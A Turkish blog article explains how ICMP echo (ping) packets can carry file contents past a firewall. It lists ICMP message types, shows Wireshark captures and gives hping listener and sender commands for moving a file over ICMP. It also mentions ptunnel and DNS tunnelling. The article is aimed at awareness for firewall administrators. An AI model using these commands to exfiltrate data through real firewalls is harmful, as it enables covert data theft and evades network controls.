"Enter"a basıp içeriğe geçin

PING ile Port Kullanmadan Dosya Transferi Yaparak Firewall Geçmek

Bir sistemin açıklarını bulabilmek için öncelikle o sistemin nasıl çalıştığına dair bilgi edinmek gerekir. Daha sonra sistemde açık arayan kişi, edindiği bu bilgiyi sahip olduğu temel bilgilerle korelasyona sokmalıdır. Temel bilgiler, söz konusu bilişim ve bilgisayar dünyasının teknik altyapısı olduğunda; ağ bilgisi, yazılım bilgisi, sistem bilgisi, güvenlik bilgisi, donanım bilgisi gibi konuları içermektedir. Bir Güvenlik Duvarı(Firewall) üzerinde tanımlı olan kuralları aşmak için genel geçerden uzak bir yöntem arayan kişi önce bu Firewall’a ait yapıyı yapacağı testlerle incelemeli, daha sonra kendisinin sahip olduğu diğer bilgilerle konuyu mercek altına almalıdır.

Firewall kuralları tanımlanırken en önemli güvenlik ilkesi aşırı yetkilendirmeden kaçınmaktır. Hem dışardan içeriye doğru olan hem de içeriden dışarıya doğru olan trafiğin, minimum yetkilerle, mümkün olduğunca “any” kuralı kullanmadan, sadece gerekli olan Protokol ve Port’lar için tanımlanması temel güvenlik anlayışının odağıdır. Bu ilkelere uyarken göze çok masum görünen ICMP protokol trafiği genelde göz ardı edilir. Esas odaklanılan nokta her zaman Port’lar ve diğer Protokol’ler olur. Ancak, bir güvenlik ilkesi uygulanırken istisna gözetmemek, gözetilirse de bu istisnaları da bir risk olarak değerlendirmek gerekir.

Eğer ICMP trafiğini açmak bir risk ise bu riskin nasıl bir tehdit ile hayata geçebileceğini de bilmek gerekir. Öncelikle ilk akılda olması gereken, Firewall üzerinde içerden dışarı, dışardan içeriye açık olan ICMP mesajlarının yerel ağda ve/veya İnternet’te ICMP üzerinde hizmet veren servisleri ifşa edeceğidir. Bunlara en ünlü örnekler PING (Echo & Echo Reply) ve TRACEROUTE ICMP mesaj tipleridir.

ICMP mesaj tipleri şu şekilde listelenebilir:

 

  • Type 0 — Echo Reply
  • Type 1 — Unassigned
  • Type 2 — Unassigned
  • Type 3 — Destination Unreachable
  • Type 4 — Source Quench
  • Type 5 — Redirect
  • Type 6 — Alternate Host Address
  • Type 7 — Unassigned
  • Type 8 — Echo
  • Type 9 — Router Advertisement
  • Type 10 — Router Selection
  • Type 11 — Time Exceeded
  • Type 12 — Parameter Problem
  • Type 13 — Timestamp
  • Type 14 — Timestamp Reply
  • Type 15 — Information Request
  • Type 16 — Information Reply
  • Type 17 — Address Mask Request
  • Type 18 — Address Mask Reply
  • Type 19 — Reserved (for Security)
  • Types 20-29 — Reserved (for Robustness Experiment)
  • Type 30 — Traceroute
  • Type 31 — Datagram Conversion Error
  • Type 32 — Mobile Host Redirect
  • Type 33 — IPv6 Where-Are-You
  • Type 34 — IPv6 I-Am-Here
  • Type 35 — Mobile Registration Request
  • Type 36 — Mobile Registration Reply
  • Type 39 — SKIP
  • Type 40 — Photuris
  • Types 41-252 — Unassigned
  • Type 253 — RFC3692-style Experiment 1
  • Type 254 — RFC3692-style Experiment 2

Bir sistemin canlı olup olmadığını anlamak için Echo & Echo Reply ICMP mesajları kullanılır. Günümüzde bu mesajlardan bahsedilirken bu mesajları oluşturmak için kullanılan komutun adı, yani PING kelimesi kullanılır. PING ile gönderilen mesajların geçişine izin verildiği ağlarda canlı olan sistemleri bulmak çok kolay hale gelir. Güvenlikte amaç bir saldırganın işini zorlaştırırken bunu kullanılabilirlikten az fedada bulunarak yapmak ise, ICMP trafiğinin dolayısı ile PING ile yollanan Echo mesajlarının da kapatılması önerilebilir.

PING (ICMP Echo) mesaj paketlerinin bir ağ dinleme programı olan Wireshark ile görüntüsü şu şekildedir:

wireshark1

 

 

Şekil-1 Google DNS Sunucusuna (8.8.8.8) PING ile Echo isteği (ping) gönderilmesi.

wireshark2

Şekil-2 Giden Echo paketi

wireshark3

Şekil-3 Gelen cevap
Şekil-1’de 8.8.8.8 adresinin 32 Bayt veri ile yoklandığından bahsediliyor. Ağ dinlendiği zaman bunu doğrulamak ve içeriği görmek mümkün olabilmektedir.

wireshark4

Şekil-4 32 Bayt veri
Şekil-4’e bakıldığında 32 Bayt verinin sadece (abcdef…) harflerinden oluştuğu görülmektedir. Bu veri Windows’un PING komutu tarafından ilgili paketin veri kısmına yerleştirilmiştir. Herhangi bir özel kullanım amacı yoktur. Aynı isteği daha fazla Bayt ile de yollamak mümkündür.

wireshark5

Şekil-5 64 Bayt veri

wireshark6

Şekil-6 Giden veri içeriği
Şekil-6’da Giden verinin içeriğinin tekrarlı harf dizilerinden oluştuğu görülebilmektedir.

Verilen örneklerde bir amaç uğruna kullanılmayan veri içeriğini bir amaç uğruna kullanmak mümkündür. Örneklerde gösterilen verinin yerine bir dosyaya ait veri parçaları yerleştirerek karşı tarafa iletebilmek mümkün olacaktır. ICMP mesajlarının ulaştığı karşı tarafta, her giden paketin içi açılıp, bu veriler ayıklanarak birbiri ile birleştirildiğinde bir dosya oluşturabilir. Bu durumda, Firewall arkasında her yöne bütün Protokol ve Port’ların kapalı olduğu ancak ICMP mesajlarının açık olduğu bir sistemde dışarıya veri yollamak ve dışarıdan veri almak mümkün olacaktır.

wireshark7

Şekil-7 Örnek bir ağ topolojisi
Verilen ağ topolojisinde SAHIN-PC olarak tanımlanmış Node’dan SUNUCU olarak tanımlanmış Node’a ICMP mesajları ile dosya transfer edilebilir. Ağa yollanan paketleri manipüle etmeye yarayan bir araç (HPING) bir dosyanın karşıya transfer edilmesine yardımcı olacaktır.

wireshark8 wireshark9

Şekil-8 PC ve sunucu
SAHIN-PC tarafında bulunan 69 Bayt’lık “dosya.txt” dosyasının sunucu tarafına aktarılması için kullanılacak komutlar aşağıda sıralanmıştır.

SUNUCU tarafında ICMP mesajlarını dinleyecek komut:

Hping2 SAHIN-PC_IP_Adresi –listen imza –icmp -I eth0 > alinan_dosya.txt

 

wireshark10

Şekil-9 SUNUCU tarafında ICMP mesajlarını dinleyecek komut
Dosyayı yollayacak Node (SAHIN-PC ) tarafında kullanılması gereken komut:

Hping3 SUNUCU_IP_Adresi –icmp -d 73 –sign imza  –file dosya.txt   -c 1 –I eth0

wireshark11
Şekil-10 Dosyayı yollayacak Node (SAHIN-PC ) tarafında kullanılması gereken komut

Burada bazı parametrelerden bahsetmek yerinde olacaktır.

  • –icmp: Gönderilen paketin cinsi (Protokol)
  • -d: Paketin başlık bilgisi dışında kalan veri boyutu
  • –sign: Capture işlemi için tetikleyici kelime
  • –file: Dosya
  • –fast: Transfer hızı için takma ad
  • -c: Paket sayısı
  • -I: Bağdaştırıcı
  • –listen: Dinleme modu

Paketler yollanırken her paket için “imza” nedeniyle 4 Byte veri kaybolmaktadır. 69 Bayt’lık bir dosyayı doğru ulaştırmak için 73 Bayt veri paketi yollamak gerekmektedir. Yoğun ağlarda paketlerin ulaştığından emin olmak için “–safe” parametresi kullanılabilir. Listen mode için Hping2 önerilir.

Yollanacak paket boyutunu kestirmek için şu formülden yararlanılabilir:

Dosya Boyutu[file] = (Paket Boyutu[d] – İmza Boyutu [sign]) X (Paket Sayısı [c])

Örnekteki dosya için bu denklem: 69 = (73-4) X 1 olmuştur.

wireshark12

Şekil-11 SUNUCU tarafındaki alınan dosya

wireshark13Şekil-12 Gönderilen paket içeriği

ICMP Mesajları ile dosya yollanabildiği gibi bu mesajlar ile tünelleme de yapılabilmektedir. Linux ortamında çalışan “ptunnel”isimli bir uygulama ICMP mesajları ile uzak sunucudaki bir Port’u, localhost altında bulunan başka bir Port’a yönlendirmek için kullanılmaktadır.

ICMP mesajları hakkında verilen bu bilgiler ışığında çoğu zaman göz ardı edilen ve en zararsız, masum protokollerden sayılan ICMP’nin yeri geldiğinde bütün güvenlik anlayışını tersine çevirebileceği görülmektedir. Firewall üzerinde dışarıya doğru açık bırakılan bir kapının olması, bütün pencerelerin de kapandığı anlamına gelmemektedir. Sadece DNS UDP 53 Port’u ile dışarıdan sorgu alan yinelemeli bir iç DNS sunucusu, DNS tünelleme ile sömürülerek İnternet üzerindeki başka bir sunucudan aldığı veriler aracılığıyla Firewall aşılarak İnternet’e çıkış yapmak mümkün olabilmektedir. Birçok tünelleme yöntemi Firewall aşmada önemli bir araçtır. Ancak bu tünelleme yöntemlerinden en etkilisi hiçbir Port’a ihtiyaç duymayan ICMP tünellemedir.

Güvenlik ile ilgili kararlar alınırken, teknik olarak yapılabilecekler konusunda, konusuna hakim kişilerin görüşlerinin de alınması önerilmektedir. Günümüzde çok kolay gibi gözüken ve ilgileneni çok bulunan Firewall kuralı yazmak konusunda dahi bilinmeyen çok detayın olduğu buradaki örneklerle gözler önüne serilmiştir.

Bir Cevap Yazın

Bu site, istenmeyenleri azaltmak için Akismet kullanıyor. Yorum verilerinizin nasıl işlendiği hakkında daha fazla bilgi edinin.